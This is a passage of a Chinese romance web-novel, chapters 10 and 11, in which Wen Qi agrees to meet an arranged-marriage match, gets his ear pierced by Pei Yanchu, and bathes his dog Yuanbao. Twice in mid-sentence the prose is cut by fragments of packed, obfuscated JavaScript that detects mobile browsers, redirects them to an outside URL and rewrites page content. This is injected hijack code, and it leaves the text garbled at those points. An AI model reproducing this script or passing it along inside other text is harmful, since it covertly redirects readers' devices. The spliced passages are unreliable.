闻若婵觉得有几分诧异,闻祈的性子孤僻喜静,除去那两三个好友叫出来聚会,闻祈一个人基本不会主动出门,有什么需要添置的都是网购,很少主动去超市这么闹腾的地方。 闻祈问:“妈妈,找我有什么事吗?” 闻若婵回了神,道:“小祈,你还记得上次妈妈给你说的事吗?” 闻祈沉默着,没说话。 “你知道的,妈妈和你宋叔叔是重组家庭,宋叔叔在我复出这件事帮了很多,我现在和宋家的公司捆绑在一起,一荣俱荣一损俱损。” 闻若婵轻声细语:“现在宋家的公司有危机,需要你帮忙,他求到我这儿,我实在不忍心说不。” 闻祈问:“宋叔叔想让我去和沈家商业联姻,他不是也有儿子吗,怎么不送他儿子去联姻?” 闻若婵嗔怪:“小祈,你也挂靠在宋家的公司里,你哥哥管着事呢。” 闻祈抿直了唇,胸腔里积闷着一股怒火,烫灼着心口。 “我仔细问过了,沈家老爷子看了你照片,又听说你是B大毕业的,恋爱经历也干净,很满意你,才同意两家联姻的。你先别看成是相亲,和沈家小儿子见一面,当过去认识个新朋友,好不好?” 闻祈笑了下,道:“可以啊。” “你同意了?——” 闻若婵惊喜道,还没说完,又被闻祈下一句打断。 “但我要解除和公司的合同关系。” 闻若婵怔了下:“小祈想和公司解约?” “嗯。” 闻祈安静地等待。 通话安静了下来,对面似在衡量似在斟酌着利弊,过了会儿,终于响起了声音。 闻若婵道:“小祈要是在公司待着不开心,那就解约吧。我会和你哥哥说这件事的。” 闻祈语气生硬:“他不是我哥哥。” 通话里的闻若婵停顿数秒,低声问:“小祈,你是不是在生妈妈的气?” 闻祈没再说话,径直挂断了通话,握着手机的手指收紧了力度,连缓慢的呼吸都似带着燃烧的热度。 他抬起视线,撞进了裴砚初的黑眸里。 裴砚初隔着一个过道,不知道站那儿等待了多久,见他看来,脸上露出很轻的笑意,手上抓着一个毛绒绒的玩偶,朝他摇了摇。 是只很可爱的小白狗玩偶,和元宝很像,晃起来的时候,像元宝跳起来和闻祈打招呼。 闻祈慢慢地走过去,问:“怎么拿了一只小狗玩偶?” “那边的毛绒玩偶区在打折,我看这只特别像我们元宝。” 裴砚初笑着,将小狗玩偶塞在闻祈的手上,道:“小狗的毛毛很软,摸起来很舒服,你试试。” 闻祈轻摸了一下。 小狗玩偶摸起来软乎乎的,带着奇异的安抚魔力,将心湖的波澜都变作平静。 裴砚初问:“买吗?” 闻祈的唇角掀起很浅的弧度,道:“不买。元宝的心眼可小了,看到和自己像的毛绒玩具会吃醋,会咬起来藏进角落里。” “元宝这么小气?”裴砚初感兴趣地挑了挑眉,“玩偶区还有别的类型,你想看看别的吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13951978|147839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻祈心动了一瞬,又扫了一眼服满当当的购物车,道:“下次吧,我怕拿不下。你都选完了?” 裴砚初点头。 闻祈的眉眼轻弯,露出笑意,道:“那回去吧。” 两人大包小包地回了家,一进门,小白狗嗷呜嗷呜地狂冲奔来,钻来钻去地扑两人的裤腿,哼哼唧唧的,似是很不满。 闻祈蹲下身,去摸毛绒绒的小狗,耐心地安抚着:“知道啦知道啦,下次出门一定带你。这次去的地方不让小狗去,不是故意不带你的。” 小狗很快就忘了生气,叼着小球,屁颠屁颠地追闻祈,要和他玩丢球游戏。 闻祈在客厅里陪着小狗玩,裴砚初收拾了买回来的东西,一看时间,准备去厨房做饭,被闻祈叫住。 闻祈道:“水水刚给我发消息说在楼下了,他带了米,等会儿用他带的米煮饭。” 裴砚初记得厨房有米,愣住了:“你朋友上门做客,还要自带大米的?” 还是说,是什么他不知道的最新潮流? “是啊,我这儿的规矩就这样。”闻祈漫不经心道,“有问题?” 裴砚初飞快摇头:“没有没有,带大米,好文明!” 闻祈轻笑了一下。 不多时,叮铃门铃响起。 闻祈去开门,门外站着最近一段时间没见的许千钧。 “小祈!”许千钧拎着个纸袋,“好久不见!” “好久不见。” 闻祈弯眸回应,让出路:“这次跟组了三个月,是不是很累?” “可不,跟了三个月组不说,好不容易回来了,还得找大师改名字,去医院看住院的亲戚,忙死我了!” 许千钧进了门,抱怨的话语骤然一停,目瞪口呆地看着从厨房出来、围着粉色围裙的高大男人,卡壳了:“裴、裴……” “裴砚初。” 裴砚初提醒着自己的名字,自觉地来搬米,还不忘说客气话:“来就来,怎么还带米,多不好意思——?米呢……?” 许千钧懵懵地举起手里的纸袋,又拿出个纱袋子,里面是一小撮米,五六颗的数量。 裴砚初脚步停顿,脑子一下子卡住了。 不是,自带米就这几颗啊? 他吭哧出一句:“这米……一定很珍贵吧?” 许千钧傻愣愣地解释:“是的吧?这是开过光的大米,放几颗进普通的大米混着煮,可以祈福转运……” 闻祈在旁没忍住,笑了起来。 裴砚初明白过来——刚闻祈是故意让他误会的,有些无奈地接了过来,道:“知道了。晚上在这儿吃的吧?” 许千钧拒绝:“我就不用了……” “你和小祈不是几个月没见面了吗?留下来吃饭,正好叙叙旧啊。” 裴砚初不知不觉拿了主人家的架势,语气热情:“有什么忌口的吗?” 许千钧诚惶诚恐:“没什么忌口……但会不会太打扰你们了?” “不打扰不打扰。”裴砚初一锤定音,“那说好了嗷,就在这儿吃饭,你和小祈先聊着,我去做饭。” 裴砚初拎着拿一小袋子米粒,又回厨房去了,关上门,乒乒乓乓地捣鼓起来。 整个全程,闻祈都没来得及说上一句话。 许千钧迷茫地看向闻祈:“裴砚初这是来当佣人,还是当男主人来了?不知道的,还以为你们隐婚多年了……” 闻祈哽住:“我和他什么关系,你还不知道?当然是来给我当佣人了。” 厨房的门一开,探出裴砚初半个身子,他捂着手机音筒,语气欣喜:“小祈,女仆装的店老板刚通知我有现货了!还说有蓝色的短款,你说买黑色的还是蓝色的好?” 许千钧像许久没上油的机器人,齿轮生锈,脖颈咔咔地转动,惊恐地看向闻祈。 闻祈张了张唇,脑袋嗡嗡的,一时说不出话来。 裴砚初的神情带着点苦恼,和闻祈打商量:“还是选黑色吧?要是你又让我跪着,蓝色的短款盖不住膝盖,我跪伤了你又心疼……” 许千钧的唇角颤动起来,语气恍惚:“小祈你、你玩这么大的吗?你说让裴砚初当佣人,是那种,让他穿着女仆装,跪着擦木地板的佣人吗?……” 闻祈:…… 10.联姻 闻祈艰难地澄清:“我没有。每个人想穿什么是个人喜好,裴砚初自己要这样的,和我没有关系。” 裴砚初坦然点头:“是是,都是我自愿的。” 许千钧也恍惚着点头:“是、是,都是他自己要求的。” 闻祈:…… 越解释,越奇怪。 裴砚初哼着小调回厨房里继续做饭了,徒留闻祈和许千钧大眼瞪小眼。 许千钧尴尬地转移话题:“小祈,你挑挑你要哪个转运的东西?我给自己挑的是手链,你看你喜欢什么?” 闻祈应了声好,接过纸袋。 他不信什么转运之说,只是不想拂许千钧的一番好意,本想随意拿一个,纤细的手指不在意地翻动了下,碰触到了一个小盒子。 闻祈没仔细看,直接拿了出来。 是个方框小盒子,透明薄膜的里面是一对珊瑚珠耳钉,颜色朱红,艳得似血滴。 “小祈你喜欢这个?”许千钧惊讶,“我记得你没有耳洞……” 他犹豫着,担心道:“你要是打耳洞的话,闻阿姨会不同意的吧?” 闻祈刚准备放回去,听这句话,反而停住了手,道:“那正好,我就要这个了。” 许千钧一愣:“你和闻阿姨吵架了?” 闻祈淡淡道:“星乐传媒的资金链出了问题,宋叔叔求到我妈头上,我妈想让我和沈家联姻,帮星乐传媒度过这次危机。我已经答应和沈家的小儿子见面了。” 许千钧结巴起来:“你说的不会是沈溪吧?这小少爷传闻很多,名声很差的……” 闻祈点头。 说什么,到什么。 放在桌上的手机屏幕亮起,跳出一条消息。 闻祈拿起来扫了一眼,笑了笑,将手机给许千钧看,语气带着自嘲:“见面的时间安排得挺快,我没有价值以后,这就是我最后的一点用处了吧?” 许千钧也看到了内容,呼吸一窒,担心地问:“你真的要去和他见面?” “为什么不去?不仅要去,还要准备好再去。” 闻祈眼睫半垂,指尖细白,摩挲了下血红的珊瑚珠耳钉,声音轻飘飘的:“听说沈老爷子很正派,我想试着做一些……我以前没做过的事。” 厨房里的裴砚初一个人浑然不知外面的对话,鼓捣出三人份的溏心蛋鳗鱼浇汁米饭,配上每人一碗的番茄浓汤,兴致冲冲端出来。 鳗鱼用空气炸锅热过,烤得表面微焦,又淋着一层酸酸甜甜的酱汁,白米饭撒着黑芝麻,又以玉米粒和西蓝花作为配菜,增加亮色,最旁边卧着一个溏心蛋,卖相看起来不错。 裴砚初坐在他俩的对面,道:“可惜家里没有海苔碎,差了那么一点就完美了。” 又假模假样地叹气:“没办法,只能打九十九分。” 许千钧捧场:“很厉害了!” 裴砚初盯着闻祈,等他表态。 闻祈觉得好笑。 冰箱里的鳗鱼是半熟制品,酱汁是配好的,裴砚初就是把鳗鱼放进空气炸锅热了一下,蒸了饭,其他的菜都是水煮的,毫无技术含量,还在这儿冲他讨表扬? 闻祈心情不错,尝了一口,顺着点头道:“嗯,给你九十九分。” 裴砚初的眼眸登一下亮起来,唇角的弧度压不住,身后仿佛有无形的尾巴在疯狂晃动。 三人围坐桌前,闻祈和许千钧有一段时间没见了,边吃边聊。 许千钧是一家娱乐公司的小编剧,吧啦吧啦倒苦水上次跟组被改戏的事——费一晚上照主演的要求写了两场的戏,等第二天到了片场,主演看了眼,嫌台词太多,让重新改。 许千钧一脸憋屈:“每天两眼一睁,就开始苦哈哈地挣那点窝囊钱,我都想跟着小祈你学,给自己放个假。” 闻祈语气散漫:“我推了大半年的工作,一首demo都没给,玩得是开心了,就是我经纪人的脸色挺难看。” “他还冲你摆脸子?你们的经纪合约本来就不对等,公司占了这么多年的便宜,他不心虚的吗?” 许千钧语气忿忿:“气死我了,小祈,你那合约还有多少年啊?” “别生气,我拿合约做了条件。”闻祈道,“估计要不了多久,公司就会把我叫回去解约了。” 许千钧立刻反应过来,喜笑颜开:“那太好了!” 裴砚初问:“什么合约?” 一提起来,许千钧又开始生气:“小祈高中就和宋家的星乐传媒签经纪合约了,他们欺负小祈年纪小,看不懂合约,上面的条件根本不合理!版权拿走不说,分成也拿大头,违约金更是天价!” 裴砚初又问:“当初没人帮小祈看合约吗?” 许千钧下意识看了眼旁边的闻祈。 当然是有的。 正因为是信任的人,所以根本没看,毫不犹豫地签下了那一份合约。 闻祈淡淡地笑了下:“别聊了,吃饭。” 桌上气氛一滞,另转了话题。 一顿饭用完,裴砚初颇为自然地起身收空碗盘,还问他们想吃什么水果。 等裴砚初回了厨房,许千钧小声感慨:“我滴个乖乖,前身价千亿的裴砚初被你训得像家庭煮夫一样。” 闻祈无奈道:“你注意点儿用词,家庭煮夫都来了。” 许千钧道:“没办法,裴砚初的气场太强了,你就算告诉我他是佣人,今天在这儿像个赘婿一样做小伏低,明天的剧情就该是一排人站在外面,大喊三年之期已到恭迎龙王归位。” 闻祈笑得眼泪都快出来了:“水水,你私底下是接了多少短剧的剧本?” 又补道:“我没记错的话,裴砚初比我们大一年,生肖就是属龙。” 他高中的时候听说裴砚初属龙,还觉得遗憾,脑海闪过一个念头。 ——这人居然不是属狗? 叮咚门铃响起。 闻祈去开门,从一个外卖员的手里接过一个便利店的袋子,又折回餐桌前,将袋子里面的东西拿出来,问许千钧:“要买的是这些吗?” 许千钧靠过去,嗯嗯点头。 厨房里的裴砚初听到了动静,将餐盘都放进洗碗机后出来了,见两人的身形站在一起,越靠越近。 裴砚初走过去,不动声色地卡在两人中间,问:“买了什么?” 许千钧道:“一次性耳钉枪和酒精棉片,小祈想打耳洞。” 耳钉枪? 裴砚初落下视线。 桌上放着一个白色耳钉枪,自带银针,尖细锋利,闪着冷光。 “怎么突然想到打耳洞?” 裴砚初的眉头锁了起来,又看向闻祈。 闻祈拿起了另一个耳钉枪,正低头看上面的使用说明。 青年五官漂亮到极致,冷白的肤色像渡着一层薄薄的釉光,侧颜的线条完美得像希腊神话里的神祇,颈项白皙纤细,气质高贵而疏离。 此刻低着头,柔软的栗色发丝垂落,耳根精致,缀着的耳垂似珍珠般完美无瑕,雪白圆润,晕着一层温润的光芒。 裴砚初低眸看着他的耳垂,喉结滚动,一时间错不开视线。 闻祈研究着上面的说明,随口道:“水水给我的珊瑚珠耳钉挺好看的。他打过耳洞,今天在这儿,正好可以帮我打……” 他一边说话,一边转头看去,发觉不知什么时候裴砚初挤在了中间,正身形倾斜着,和他一起看耳钉枪。 高大的男人微微俯身,压着肩头,从后看来,几乎是半抱着他的姿势,强势而不容忽视。 距离……太近了。 闻祈的神色有几分不自在:“你挡着水水了。” 许千钧被挡得严严实实,嗅到某种气息,眨眨眼。 他刚想说什么,忽然接到了个电话,看清手机屏幕上是谁后,道:“啊我经纪人找我,小祈你等我会儿。” 许千钧跑去了阳台接电话,留两个人相对。 裴砚初看了眼桌上的珊瑚珠耳钉,又看向闻祈,道:“是喜欢珊瑚珠吗?可以找找同款的耳夹。” “不用。” 闻祈垂下蝶翼似的黑睫,手指捏了捏自己的耳垂,道:“这个是水水找大师开过光的转运耳钉,我正好也想打个耳洞。” 阳台上隐约传来许千钧和手机另一头的对话声,衬得他们之间的气氛更加安静。 裴砚初的目光落在他的耳垂上,沉默了会儿,道:“……会疼。” 闻祈轻嗯:“我知道。” 裴砚初没说话了。 闻祈没听到回答,掀眼看来,问:“你也觉得我不该打耳洞?” “不是。”裴砚初语气顿了顿,嗓音微低,“我只是在想,你会疼。” 没什么差别的回话,让闻祈一时哑然。 明明他都说了知道了。 恰时阳台上许千钧挂了通话,转身回来,两人默契地同时别开了视线。 许千钧匆匆过来,歉意道:“小祈,经纪人通知我临时有个活儿,我现在就得过去,不好意思啊得下次帮你打耳洞了。” “没什么,我自己打也是一样的。你忙工作吧。”闻祈拿起桌上的纸袋子,“我送你下楼。” 许千钧嗯嗯两声,又叮嘱道:“要是耳垂肿了,记得抹消炎的药膏。” “好。” 正准备出去,闻祈望向裴砚初。 裴砚初自觉道:“我和元宝看家。” 桌底下的小狗听到自己的名字,钻出来,嗷了一声。 闻祈的眸底闪过笑意,出了门,和许千钧一起下楼,把人送上车后,回了公寓。 门一开,小狗摇着尾巴来热情迎接。 闻祈照例摸了两把小狗,回到桌前。 裴砚初正拿手机看着一次性耳钉的教程视频,眉宇比刚才锁得还紧。 闻祈问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952326|147839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“学会了吗?” 裴砚初退出了视频,道:“没什么难度,对准了按下去就行,但是点不能打歪了,不然后期可能出现斜口。” 闻祈点头:“行,那你帮我打吧。” 裴砚初傻眼:“啊?我?” “我自己打还得看着镜子找角度,还不如你来。” 闻祈语气懒散:“你不是都学会了吗?正好。” 裴砚初面露犹豫。 闻祈问:“不愿意?” 裴砚初赶紧道:“愿意。” 闻祈看了看在脚边转来转去的小狗,道:“这儿有元宝,去浴室吧。” 裴砚初魂不守舍的:“哦哦,好。” 他们拿了东西去浴室,把跟过来的小狗关在外面。 封闭的空间,只余他们两人。 闻祈站在大理石洗漱台前,微侧过身去,拨了下发丝,将完整的右耳面对着裴砚初,道:“开始吧。” 裴砚初绷着声线,道:“那……我们先消毒。” 闻祈心想:裴砚初每做一步,都得报备一声吗? 这么想着,也没多说什么,只轻嗯一声。 裴砚初拆了一张医用酒精棉片,靠近过来,又硬生生地停在半路,说话有点磕巴:“小祈,你、你能不能闭眼?” 闻祈看他一眼。 面前的男人神色紧绷,唇线抿成直线,比他这个被打耳洞的人还要戒备还要紧张。 闻祈转回视线,顺从地闭上了眼睫。 眼前一片黑暗,视觉被剥夺,放大了其他的感观。 封闭的空间里,属于另一个人的气息,逐渐靠近的、有些急促的呼吸声…… 温热的呼息靠近,轻轻地吹动着侧边的发丝。 一丝冰冷袭上耳垂,打着转儿,很轻地揉动着,拂开一片湿润。 动作缓慢,像在擦拭着什么贵重的玉器,轻得似怕不小心弄碎。 不知怎的,闻祈喉间有些艰涩,伸出一股逃避的冲动,又克制住,停留在原地,只是原本放松垂落的指尖缓慢地蜷缩起来。 消毒用的酒精棉片撤离,接着响起窸窸窣窣的拆包装声音传来,而后是裴砚初无措的声音:“打、打哪儿?” 闻祈闭着眼道:“中间的位置就行。” 只是时间一点一滴地过去,预计的疼痛却迟迟未到。 闻祈几乎能感知到,裴砚初的视线正长久地停留在他的耳垂上。 “会疼。” 裴砚初第三遍重复。 闻祈的答案未变:“我知道。” 裴砚初不再言语,俯身压来,屏着呼吸,将一次性耳钉枪卡在闻祈的耳垂边。 看准位置以后,按下的动作快而狠。 咔哒一声轻响,银针利落地穿刺而过,小银珠盈盈地缀在耳垂上。 闻祈缓慢地睁开眼。 面前的裴砚初眉骨紧皱,视线紧紧盯着他的耳垂,语速比平时快:“好像红了?疼吗?” “还好。打的一瞬间会疼,后面没什么感觉。” 闻祈伸了手,下意识想摸一下,又被裴砚初一把抓住了指尖。 两人同时僵住,裴砚初很快放开他,讪讪解释:“你刚打耳洞……先别碰。” 闻祈点点头,道:“那打另一边吧。” 裴砚初拿着另一个一次性耳钉枪,却没动,神色闪过犹豫,道:“要不这个给我吧?” 他慢吞吞地道:“许水送的耳钉不是转运的吗?我现在又是破产,又是失忆的,也想分一个转运……” 闻祈略微思衬。 本质是打耳洞这件事,一个还是两个,好像也没差。 闻祈点头:“好,那你打吧。要我帮你吗?” 裴砚初没想到他会同意,怔了下,控制不住唇角上扬的弧度,笑得透出几分傻气:“不用不用,我自己来。” 像怕闻祈反悔,裴砚初拆了一张酒精棉片给左耳飞快消毒,对着镜子看准位置后,拿另一个一次性耳钉枪快准狠地咔哒穿过。 动作行云流水,一气呵成。 这不是能搞得挺快的吗? 闻祈想。 两个人的耳垂都缀着如出一辙的银珠耳钉,裴砚初对着镜子看了又看,满意得不得了,迫不及待问:“我们什么时候换珊瑚珠耳钉?” 闻祈道:“水水说了,刚打耳洞不能立刻换耳钉,得隔一段时间。” 他盯着镜子里的自己,感觉小银珠是太素净了些,不太亮眼,若有所思,喃喃:”还好是一个周后见面,到时候再换耳钉也来得及。” 裴砚初诧异问:“什么见面?和谁见面?” 他还以为闻祈是为了转运,所以想戴那对珊瑚珠耳钉。 怎么听起来像为了见面,才特意戴上? 闻祈道:“我的联姻对象。” 裴砚初唇角的笑意,猛地凝固了。 谁?? 11.粉色 时间仿佛按下了暂停了键,停滞数秒。 裴砚初哈哈两声,打破安静:“好烂的玩笑话。” 闻祈奇怪地看他:“谁和你说是玩笑话了?” 裴砚初依旧不信:“你怎么可能会答应去联姻?” 闻祈自嘲道:“我妈要把我送出去,我还能说什么?” 裴砚初一下子急了:“那也不能答应啊,都什么年代了还搞联姻那一套。你认识他吗,你了解他吗?没有感情结什么婚!” 他深吸一口气,勉强冷静下来,咬着牙,问出最关键的问题:“是谁?” 闻祈道:“你都失忆了,我告诉你名字你也不认识,你问来做什么?” 还没见面就护上了? 裴砚初说话像泡在碳酸汽水里,咕噜噜酸气直冒,语气委屈:“我问问都不行?” 闻祈直接道:“沈溪,你认识吗?” “我当然——不认识。” 裴砚初的话语骤然一转,追着问:“男的女的,年龄多大啊?性格怎么样?家里几口人?——” “你在这儿查户口呢?” 闻祈微微挑眉,听着元宝挠门的动静,转身准备往外走,道:“走吧,打完了耳洞,可以出去了。” “等等!” 闻祈刚走一步,被裴砚初拉住了手腕。 力度很重,宽大的手掌隔着薄薄的一层布料强势地锁着他的手腕,传递着烫灼的体温。 裴砚初眸色很深,那些所有的不甘的、愤怒的、嫉妒的种种晦暗情绪翻滚汹涌,又被压抑到了极点,很快隐去。 他注视着闻祈,哑着嗓子问:“真的……要去?” 闻祈点头。 裴砚初的手指颤了颤,眸中的光亮变暗了下来,似万物俱灭。 “不去见面,怎么能把解除我的合约作为条件。”闻祈道,“我对男的不感兴趣,那沈家小少爷还在读大学,我对比我年纪小的小屁孩更不感兴趣。” 裴砚初的眼眸又一点一点地亮起来,问:“意思是说,你不会真的答应联姻?” “见个面而已。沈家只是暂时看中了我而已,我不是他们的唯一选择。”闻祈道,“我答应了见面,不代表联姻就定下来了。” 他补道:“说不定见了我,宋家那边就反悔了。” 裴砚初见他似有打算,稍微松了一口气。 闻祈问:“现在可以松开我了吧?” 裴砚初的视线落下,赶紧松开了手,有点懊恼:“疼吗?” 闻祈缓慢地揉着自己的手腕,没回答,视线带着探究,反问:“我去联姻,你这么激动干什么?” 裴砚初强调:“是你把我带回家的。” 闻祈点头:“所以呢?” “自从跟了你走,我手机里这两天一直有不认识的人给我发消息,问我是不是被你包养了。” 裴砚初有理有据:“你要是去联姻了,那我在以前的朋友眼里不就成了小三了吗?我还要不要名声了?我还做不做人了?” 闻祈茫然问:“啊?” 裴砚初据理力争:“你要是潇潇洒洒去联姻了,我怎么办?我的名声全被你败坏完了,以后找不到老婆,是不是该找你算账?” 闻祈觉得好笑:“你现在身无分文,还被当成替罪羊推出去给霈泽顶锅,背了一堆还在走流程的经济官司,等判决下来,说不定就是一堆债。就这样,你还想着以后找老婆?” 裴砚初道:“那也不是你让我做小三的理由!” 闻祈道:“不对,我什么时候让你当小三了?” 裴砚初不依不饶:“你和那个小屁孩见面,向外传达的意思不就是让我做小吗?你考虑过元宝吗?万一那小屁孩不喜欢小狗怎么办?你把我和元宝放在什么地方?——” “打住!” 闻祈听得头晕,差点被他绕进去了,道:“我都说了我对小屁孩没兴趣!我只是去和他见一面,又不是定亲,我也没打算让你当小三。” 裴砚初紧追不舍:“那你说说你对什么类型感兴趣?” “你问这个干什么?” “我当然得问清楚了!就算没了这个联姻对象,说不定有下一个联姻对象冒出来,刚好对你的口味怎么办?我和元宝从一开始就要防范于未然……” 闻祈头疼道:“我对恋爱、结婚不感兴趣,不可能出现这种事。行了吧?” “为什么?” 裴砚初不甘心似的:“你真的想好了吗?未来一点结婚的意向也没有?我的意思是说,要是真的碰上什么合适的人,其实也可以考虑一下的……” “恋爱不行,不恋爱也不行,你到底要怎么样?” 闻祈受不了他左右互搏的问题:“裴砚初,你是小学生吗,天天十万个为什么,哪来的这么多问题?” 他不想再搭理,转身打开浴室门,小狗端坐在外,歪着头,嗷呜嗷呜两声。 像在疑问——你们两个背着小狗在里面干什么? 闻祈往外走,小狗嗷嗷追着他,裴砚初也亦步亦趋地跟着,继续问:“那我不问那些了,你先告诉我和沈溪什么时候见面?订的哪家餐厅?见面之后你打算要做什么?……” 闻祈觉得元宝够黏人的了,一会儿没见他,就要哼哼唧唧地撒娇,现在来了个裴砚初,黏人闹腾的程度比元宝有过之无不及。 他们俩凑在一起,一加一的组合堪称王炸。 闻祈猛地停步转身。 裴砚初跟着刹车,在差点撞上闻祈之前,停住了步,小狗也跟着停下。 闻祈深吸一口气,有点凶:“不要跟着我!” 一人一狗,同时露出湿漉漉的受伤表情。 闻祈默了默,放缓语气,又补充了一句:“或者安静点。” 裴砚初立刻闭嘴,点头表示收到,小狗望了望裴砚初,摇摇尾巴,有样学样,也跟着安静下来。 世界终于清净了。 闻祈如释重负,去客厅接了杯水,喝了一半,转过头来,一人一狗都在几步外守着他。 见他看来,一人一狗的眼神几乎同步,闪动着炽烈又殷切的光。 小狗的尾巴直晃,裴砚初的身后好像也有无形的尾巴在讨好招摇。 闻祈差点把水喷出来,低下头,怀疑地看了眼手中的杯子。 不会是有人给他在水里下毒了? 闻祈屏蔽掉脑海里荒谬的猜想,决定分开这一人一狗,注意到快到平时遛狗的时间,道:“我带元宝出去散步,你先收拾今天买的东西吧。” 裴砚初无辜地望着他,眨眨眼。 闻祈道:“……可以说话了。” 禁令解除,裴砚初发出质问:“你不会趁着和元宝出去散步的机会,背着我和联姻对象见面吧?” 闻祈一噎:“裴砚初,你是不是有病?” 裴砚初点头,正色凛然:“我这个人三观太正了,有怕当小三的心病!” 闻祈的额角突突地直跳,实在受不了了,拿出手机,直接把餐厅订位的信息给他看:“就是单纯带元宝散步!够了吗?” 裴砚初迅速扫过,眉宇一皱,道:“这个餐厅——” 闻祈问:“怎么?” 手机屏幕上显示着餐厅位置预订成功的信息,裴砚初指着餐厅的名字——“叁生”,诚恳道:“这个三字不好,我看了受刺激。” 闻祈又想起了裴砚初的小三理论,脑袋像有一千只蜜蜂在飞,嗡嗡吵闹。 裴砚初出车祸把智商也给撞漏了,现在看到和三有关的字就联想小三是吧? 这家是小有名气的情侣餐厅,连他都听说过,主打一个浪漫情调,店名寓意着三生三世都在一起。 “那你去和餐厅老板商量,把名字给改了。” 闻祈懒得和他继续掰扯,转了头,道:“元宝,过来。我们出门散步了。” 小狗像个火箭似的冲来,到了闻祈的跟前急急刹停,兴奋地追尾巴转圈。 闻祈找出牵引绳,无视了裴砚初可怜巴巴的眼神,带小狗出了门。 还好今日天气不错,来小公园里玩的小狗也多,叫闻祈的心情也放松起来。 闻祈比平时多遛了一会儿,带小狗回公寓,进门去,裴砚初自觉递去宠物用的湿巾,帮忙解开小狗的牵引绳。 闻祈给小狗擦了沾灰的爪爪,被放开以后,小狗自个儿先进了客厅,去喝水了。 裴砚初拿着牵引绳,准备去放回阳台的架子上,又被闻祈给叫住。 闻祈微微仰头,凑近裴砚初的耳边,薄红的唇张张合合,以气声道:“今晚上该给元宝洗澡了,等会儿我俩进浴室,假装忘了关门,他肯定偷偷过来,元宝一进来,你就关门。” 他清冷的嗓音压得很低,温热和缓的呼吸轻轻地吹拂着耳侧,掀起一片细细密密的酥麻。 裴砚初的半边身子都被电酥了,麻痹得动弹不得,思维慢了半拍,才听清楚闻祈在说什么,嗯嗯点头。 又问:“关了门之后呢,还要我做什么吗?” 白工,白用白不用。 闻祈想了想,道:“那你等会儿帮我按着元宝。每次洗澡他都要跑,洗得我可费劲儿了。” 裴砚初点了点头。 “还有,元宝洗澡的时候不能笑他。”闻祈皱眉交代,“上次我带他去宠物店洗澡,有个店员笑了,元宝伤心得回来就躲床下,我哄了好久才肯出来。” 裴砚初郑重保证:“好,保证不笑。” 两人鬼鬼祟祟地商量完,若无其事地分别去放了东西,又去往浴室。 狗在客厅里喝完水,开始找人,哒哒哒地转了一圈,终于发现了留了一个缝的浴室门。 闻祈站浴室里,把浴巾、吹风机等一并要用的东西都准备好,视角余光里,看到门旁边嗖地冒出一个毛绒绒的小狗脑袋。 小狗眼睛亮亮的,像在好奇他在干嘛。 闻祈装着现在才注意到他,低头看来,温柔地喊:“元宝,你来找我啦?来这儿。” 小狗精神气儿十足地嗷汪一声,昂首挺胸地进来了。 裴砚初站在门后,被闻祈刚那一句话蛊得心荡神驰。 别说元宝了,要是闻祈对他这么来一句,他也顶不住。 浮想联翩着,手上倒是没忘记闻祈交代的事,等小狗一进来,哐一下,把浴室门关了。 小狗被吓了一跳,覆着短绒毛的尖耳朵抖了抖,摇摇尾巴,疑惑地左看右看门神似的两个人类,又往闻祈的脚边蹭。 闻祈俯了身,把小狗捞起来,一把塞进了裴砚初的怀里。 小狗窝在裴砚初的怀里,哈次哈次吐舌头,半点没意识到接下来要发生什么。 闻祈半垂着眸,冷酷无情地宣布:“带元宝进浴室。” 裴砚初发誓,他第一次在一只小狗的脸上看懂了这么鲜活的表情:疑惑——震惊——惊恐。 刚还傻乐的小狗嗷嗷嗷地胡乱挣扎起来,叫声凄厉。 闻祈冷声:“前两次一说洗澡,你就往沙发底下钻,今天必须得洗了。” 小狗:“嗷嗷嗷!” 闻祈:“没有商量!” 小狗:“嗷嗷嗷!” 裴砚初捂住小狗嘴,哄:“乖元宝,咱听小祈的嗷,他可是我们的一家之主。” 小白狗露出一双泪汪汪的荷包蛋眼,满是绝望。 裴砚初带着小狗进浴室,闻祈在架子上找出一个奶白色的圆盆,后一步进来,开始接水试温。 圆盆蓄了一半的水,裴砚初把元宝往盆里放,没碰到水,四只爪爪就开始疯狂地划,沾到水的时候,叫声惊慌得像他们要谋害自己的狗命。 等站到盆里的时候,才发现水线只过了脚脚,尴尬地开始到处张望。 裴砚初差点没绷住,好歹记着闻祈交代的话,装作什么也没看见,压下了唇角上扬的弧度。 闻祈早已习惯,拿水杯装温热的清水,轻轻地往小狗身上浇。 像有什么触发机制,每浇一下,小狗就呜咽一声:“嘤!!” 叫声绝望凄惨,闻者伤心。 闻祈:……老天鹅,他真的没虐狗。 小狗脑袋像云朵棉花糖一样蓬松,身上的毛发被温水淋湿了,一缕一缕地贴着身体,头重脚轻,看起来颇为滑稽。 有点逗。 裴砚初轻咳一声,忍住笑意,移开视线。 小狗浑身顶着绵密的白泡泡,变得滑溜溜的。 裴砚初一时没按住,小狗看中机会一个冲锋逃蹿,撞得闻祈手里准备清洗的花洒掉在了地上,水花呲一下像喷泉冲顶。 哗啦啦的水花漫天洒落,两人一狗被浇了个透顶。 “元宝!”闻祈生气地喊。 裴砚初撸起袖子:“我来!” 然后哐当一声,一脚踩翻了水盆。 浴室的门关着,内里两人捉狗,一片混乱。 裴砚初和闻祈好不容易才合力按住钻来钻去的泡泡小狗,废了好一番功夫才把小狗洗干净了,累个够呛。 